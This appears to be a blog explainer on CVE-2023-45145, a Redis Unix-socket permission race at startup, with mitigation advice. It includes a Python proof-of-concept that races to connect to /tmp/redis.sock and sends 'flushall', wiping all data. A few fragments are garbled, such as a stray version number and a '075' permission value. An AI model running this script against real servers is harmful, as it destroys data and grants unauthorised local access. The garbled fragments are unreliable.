Redis is a super popular in-memory database often used for caching and real-time apps. One great feature is its support for both TCP and Unix socket connections. However, a serious security vulnerability (CVE-2023-45145) was uncovered in the way Redis handles permissions on its Unix socket file when it starts up. This flaw potentially allows an attacker to sneak in and connect to Redis before file permissions are properly set. In this post, I’ll break down exactly how it works, how attackers can exploit it, and what you can do to stay safe—no confusing tech jargon.

When you configure Redis to use a Unix socket, here’s what happens

1. Redis starts up and creates the Unix socket file at the path you specified (e.g., /tmp/redis.sock).
2. At this moment, the socket is created with the umask of the process, and before Redis applies the permissions you set in your config file.

If you (or your environment) use a permissive umask like 000 or 0002, the resulting socket file is temporarily world-writable.

This creates a race condition

- For a very short time, any user/process on the system can connect to the Redis server before the right permissions are set.

For privileged applications like Redis, this could mean local privilege escalation or data theft.

This bug was introduced way back in Redis 2.6.-RC1 and affects a wide range of versions.

The race window is tiny, but with scripting, an attacker can exploit it reliably on systems where

- The Redis socket is created in a world-writable directory (like /tmp)

Let’s say you have this Redis config

unixsocket /tmp/redis.sock
unixsocketperm 700

But your system uses umask 0002 (default on some distros).

With the right timing, an attacker can run this script while Redis is starting up

import socket
import time

redis_socket = "/tmp/redis.sock"

# Keep retrying until connection succeeds
for i in range(200):
    try:
        client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        client.connect(redis_socket)
        print("[*] Connected to Redis before permissions were fixed!")
        # Now let's send a Redis command (dangerous! example: flushall)
        client.sendall(b"flushall\r\n")  # WARNING: this wipes all data!
        response = client.recv(4096)
        print(response)
        client.close()
        break
    except Exception as e:
        time.sleep(.01)  # Wait 10ms before retrying

With a loop like this, the attacker (as any local user) can reliably catch Redis in the vulnerable state and do anything: flush all data, steal secrets, or reconfigure the server.

6.2.14

The fix makes sure the server sets the correct permissions before starting to listen on the socket.

Advisory:
- Redis Security Issue #1256
- CVE-2023-45145 on NVD

Permanent Solution: Upgrade

If possible, upgrade Redis to a patched version as soon as possible.

umask 0077

redis-server /etc/redis/redis.conf

`ini

unixsocket /var/run/redis/redis.sock

`

Make sure /var/run/redis is root:redis 075 or similar.

Summary

CVE-2023-45145 is a real risk on shared systems, dev boxes, and anywhere an attacker can run programs as an unprivileged user. The bug isn’t remote, but lets anyone on the server connect to Redis as an admin for a split second during startup.

Upgrade Redis straight away.

- Use a restrictive umask and a protected socket directory if you must stay on an older release.
- Avoid placing Redis sockets in /tmp.

This is a great reminder to always check the Linux permissions and locations for your service sockets—and keep your services up to date!

For more details, check the official Redis advisory.

Timeline

Published on: 10/18/2023 21:15:00 UTC
Last modified on: 10/30/2023 12:50:00 UTC